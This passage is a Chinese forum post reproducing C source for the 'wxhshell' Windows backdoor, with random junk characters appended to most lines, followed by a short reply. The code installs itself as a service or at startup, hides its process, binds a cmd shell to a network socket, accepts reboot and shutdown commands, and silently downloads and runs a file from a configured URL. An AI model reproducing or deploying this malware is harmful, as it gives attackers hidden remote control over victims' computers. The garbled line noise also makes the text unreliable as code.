  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  L$Yg*]\  
  else CS|al(?~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %|\Af>o4d  
  } Q$XNs%7w5,  
  else { pas^FT~  
|O4LR,{G.w  
    switch(cmd[0]) { rf=ndjrH  
  ZW)_dg9  
  // 帮助 tTcff9ee  
  case '?': { n1J;)VyR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }$E341@  
    break; _KZ&/  
  } wJ Qm7n-+  
  // 安装  ; V)jC  
  case 'i': { $3c9iVK~_  
    if(Install()) o7=#ye&P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aTU[H~dTU  
    else R?L? 6~/q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7+;$_,Xo<  
    break; @:%p#$V  
    } ![H{ndH!Q  
  // 卸载 %(YU*Tf~  
  case 'r': { c3]`W7E6L  
    if(Uninstall()) xixdv{M<FF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c]1\88  
    else YQ$EN>.eO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _CImf1  
    break; vzH"O=  
    } <TQ,7M4X  
  // 显示 wxhshell 所在路径 i2&I<:  
  case 'p': { J@lQzRqRb  
    char svExeFile[MAX_PATH]; "eG@F  
    strcpy(svExeFile,"\n\r"); 0Q4i<4 XW  
      strcat(svExeFile,ExeFile); 7Adg;  
        send(wsh,svExeFile,strlen(svExeFile),0); U6x$R O!  
    break; hy|Yy&-  
    } Lh;U2pA  
  // 重启 \h48]ZjC`  
  case 'b': { tB)nQw7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >O$ JS,  
    if(Boot(REBOOT)) y)*W!]:7^>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u0{R;)  
    else { z`esst\aV  
    closesocket(wsh);  e gdbv  
    ExitThread(0); *VV#o/Q p  
    } ?(R !BB  
    break; +Z=%4  
    } "J"RH:$v  
  // 关机 ec3zoKtV  
  case 'd': { J5"d|i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); < 19A=  
    if(Boot(SHUTDOWN)) v9"|VhZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k(ho?  
    else { ?R":"*eu  
    closesocket(wsh); 1G<S'd+N  
    ExitThread(0); .Q5zmaA]  
    } )j\9IdkU;y  
    break; T-a [  
    } 4H*M^?h\#  
  // 获取shell h-+vN hH  
  case 's': { ?d' vIpzO!  
    CmdShell(wsh); z0T9tN!(  
    closesocket(wsh); E]dc4US  
    ExitThread(0); 7xh91EU:4  
    break; Jt(RF*i  
  } SbXV'&M2AT  
  // 退出 KD^n7+w%  
  case 'x': { -^ R?O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )K!!Zq3;|  
    CloseIt(wsh); iiLDl  
    break; {M ^5w  
    } Bg.  
  // 离开 Uu[dx}y  
  case 'q': { \5P 5N]]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x T1MW  
    closesocket(wsh); a^g}Z7D'T  
    WSACleanup(); ^y.|KA3[  
    exit(1); !S#K6:  
    break; L};P*{q2Z  
        } 3g87ir  
  } a[=;6!  
  } }fZ~HqS2w  
P!u0_6  
  // 提示信息 g&r3 ;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K^e4w`F|  
} ~FnuO!C  
  } $EG9V++b3  
9_x rw:4  
  return; {J*|)-eAw  
} 6Z<|L^  
q+2v9K@  
// shell模块句柄 BG_6$9y  
int CmdShell(SOCKET sock) ]]9 VI0   
{ W4q |55  
STARTUPINFO si; yA~1$sA1  
ZeroMemory(&si,sizeof(si)); d]vom@iI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y<kg;-& 8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s1bb2R  
PROCESS_INFORMATION ProcessInfo; uaqV)H  
char cmdline[]="cmd"; w*\JA+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2sYz$ZGC"#  
  return 0; :u`gjj$:s  
} KM9H<;A  
nQ@<[KNd  
// 自身启动模式 4}-G<7*  
int StartFromService(void) m:Fdgu9  
{ lUIh0%O  
typedef struct sspGB>h8l  
{ R>hL.+l.  
  DWORD ExitStatus; k>F>y|m  
  DWORD PebBaseAddress; \3T[Cy|5|  
  DWORD AffinityMask; d >O/Zal  
  DWORD BasePriority; PQ2rNY6  
  ULONG UniqueProcessId; a y$CUw  
  ULONG InheritedFromUniqueProcessId; pfQ3Y$z  
}   PROCESS_BASIC_INFORMATION; yp]z@SYA@  
J"K(nKXO_?  
PROCNTQSIP NtQueryInformationProcess; U>0bgL  
w[g`)8Ib  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l p|`n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _wUg+Xs]  
K0|:+s@u  
  HANDLE             hProcess; S5\KI+;PW  
  PROCESS_BASIC_INFORMATION pbi; f h:wmc'  
nh? JiH {  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X*M2 O%g`L  
  if(NULL == hInst ) return 0; {Ga=; 0  
nd"$gi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VNwOD-b/]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S 59^$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q@[(0R1  
xAr&sGMA  
  if (!NtQueryInformationProcess) return 0; )JhB!P(  
R-tZC9 @  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y1B' _s  
  if(!hProcess) return 0; S@Aw1i p  
Z|xgZG{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kAs=5_?I  
"gt1pf~y  
  CloseHandle(hProcess); _6 @GT  
0nZQ" {x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [U:P&)  
if(hProcess==NULL) return 0; <Qt9MO`a  
DDj:(I?,w  
HMODULE hMod; AWg'J  
char procName[255]; "A0y&^4B@  
unsigned long cbNeeded; Bm;: cmB0e  
9W&nAr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tB VtIOm9  
K/_"ybR7  
  CloseHandle(hProcess); /vpwpVHIpG  
X|C=Q   
if(strstr(procName,"services")) return 1; // 以服务启动 %~[@5<p  
h)^|VM   
  return 0; // 注册表启动 zU'7x U-  
} Y]!&, e,  
>J#/IjCW  
// 主模块 P 1  
int StartWxhshell(LPSTR lpCmdLine) Jv kTfTE7  
{ #'n.az=1  
  SOCKET wsl; BS%pS(  
BOOL val=TRUE; e ^ZY  
  int port=0; )Myx(w"S  
  struct sockaddr_in door; yd[4l%G(zS  
|uI~}pSG  
  if(wscfg.ws_autoins) Install(); |Xt6`~iC  
_na/&J 6  
port=atoi(lpCmdLine); |l@z7R+4*  
WM7LCP  
if(port<=0) port=wscfg.ws_port; <o/lK\>  
Vi>P =i  
  WSADATA data; .>S1do+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &?5me:aU  
Mkr &30il[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aq\Fh7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {^k7}`7,  
  door.sin_family = AF_INET; o#>Mf464I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l| y.6v  
  door.sin_port = htons(port); WJk3*$=  
WJ,?5#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m'M5O@?  
closesocket(wsl); VQ8Fs/Zt!  
return 1; xVRxKM5 {  
} 8#[2]1X^8  
v]rbm}uU9  
  if(listen(wsl,2) == INVALID_SOCKET) { 6}~k4;'}A  
closesocket(wsl); y9k'jEZ"oh  
return 1; 5Pf)&iG  
} % bKy  
  Wxhshell(wsl); gLg.mV1<  
  WSACleanup(); 4q.yp0E  
5F!i%{XQvm  
return 0; I@IE0+ [n  
}2S)CL=  
} {R"mvB`  
{`-AIlH(  
// 以NT服务方式启动 Hp5.F>-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vy` lfbX@  
{ "H=N>=g0E  
DWORD   status = 0; ^XG$?2<U  
  DWORD   specificError = 0xfffffff; E!uQ>'iq.  
q>wO=qWx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ) I(9qt>Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XA;f.u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HU$]o N  
  serviceStatus.dwWin32ExitCode     = 0; F'CJN$6Mw/  
  serviceStatus.dwServiceSpecificExitCode = 0; uG/'9C6Z  
  serviceStatus.dwCheckPoint       = 0; &[SFl{fx>-  
  serviceStatus.dwWaitHint       = 0; AMASh*  
KzQFG)q,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y:_>R=sw  
  if (hServiceStatusHandle==0) return; )2#q i/  
[XubzZ9  
status = GetLastError(); ` TH\0/eE  
  if (status!=NO_ERROR) R~eLEjezm  
{ A~X\ dcn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =yoR>llbBC  
    serviceStatus.dwCheckPoint       = 0; a8-V`  
    serviceStatus.dwWaitHint       = 0; %Y"pVBc  
    serviceStatus.dwWin32ExitCode     = status; ?uU_N$x  
    serviceStatus.dwServiceSpecificExitCode = specificError; $zF%F.rln  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l]j;0i  
    return; EPR85[k  
  } [Jj@A(Cz  
H@9QEj!Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u,{R,hTDS  
  serviceStatus.dwCheckPoint       = 0; 4S4gK   
  serviceStatus.dwWaitHint       = 0; pjQyN|KS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ><xmw=  
} qz2`%8}F)  
n5;@}Rai  
// 处理NT服务事件,比如:启动、停止 5Ar gM%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PKC0Dt;F.  
{ VMe  
switch(fdwControl) 5g O9 <  
{ 0*+EYnu+  
case SERVICE_CONTROL_STOP: ,k*%=TF7N  
  serviceStatus.dwWin32ExitCode = 0; FBvh7D.hV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  \S1W,H|  
  serviceStatus.dwCheckPoint   = 0; sKJr34  
  serviceStatus.dwWaitHint     = 0; 0-;>O|U3  
  { agE-,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |=KzQY|u  
  } |QMmF"0  
  return; fK *l?Hr  
case SERVICE_CONTROL_PAUSE: s:_a.4&Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [zXC\)&!  
  break; !^s -~`'\~  
case SERVICE_CONTROL_CONTINUE: cP\z*\dS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @vXXf/  
  break; ew~?&=  
case SERVICE_CONTROL_INTERROGATE: U@CAQ?  
  break; B}.:7,/0  
}; nK)1.KVN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *|y$z+g/  
} WRwx[[e6z  
87W!R<G  
// 标准应用程序主函数 uqU&k@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yla- X|>  
{ t_*x.{x-  
`& h-+  
// 获取操作系统版本 e+F $fQt>  
OsIsNt=GetOsVer(); [\Nmm4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .tppCy  
_}ii1fLv  
  // 从命令行安装 l'@!'  
  if(strpbrk(lpCmdLine,"iI")) Install(); iSR"$H{  
BFhEDkk  
  // 下载执行文件 nB5\ocJ  
if(wscfg.ws_downexe) { 5S_fvW;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]$ Nhy8-  
  WinExec(wscfg.ws_filenam,SW_HIDE); i*$~uuY  
} =wW M\f`=  
|=0w_)Fa]  
if(!OsIsNt) { </@5>hx/  
// 如果时win9x,隐藏进程并且设置为注册表启动 x DN u'  
HideProc(); j@^zK!mO  
StartWxhshell(lpCmdLine); c q[nqjC=  
} -Eig#]Se3  
else =:xX~,qmv  
  if(StartFromService()) UNwjx7usD  
  // 以服务方式启动 BDzAmrO<  
  StartServiceCtrlDispatcher(DispatchTable); J\w4N",  
else p Zlt4  
  // 普通方式启动 ]z8/S!?  
  StartWxhshell(lpCmdLine); Yw]$/oP`  
 8y  
return 0; *o\AP([@  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八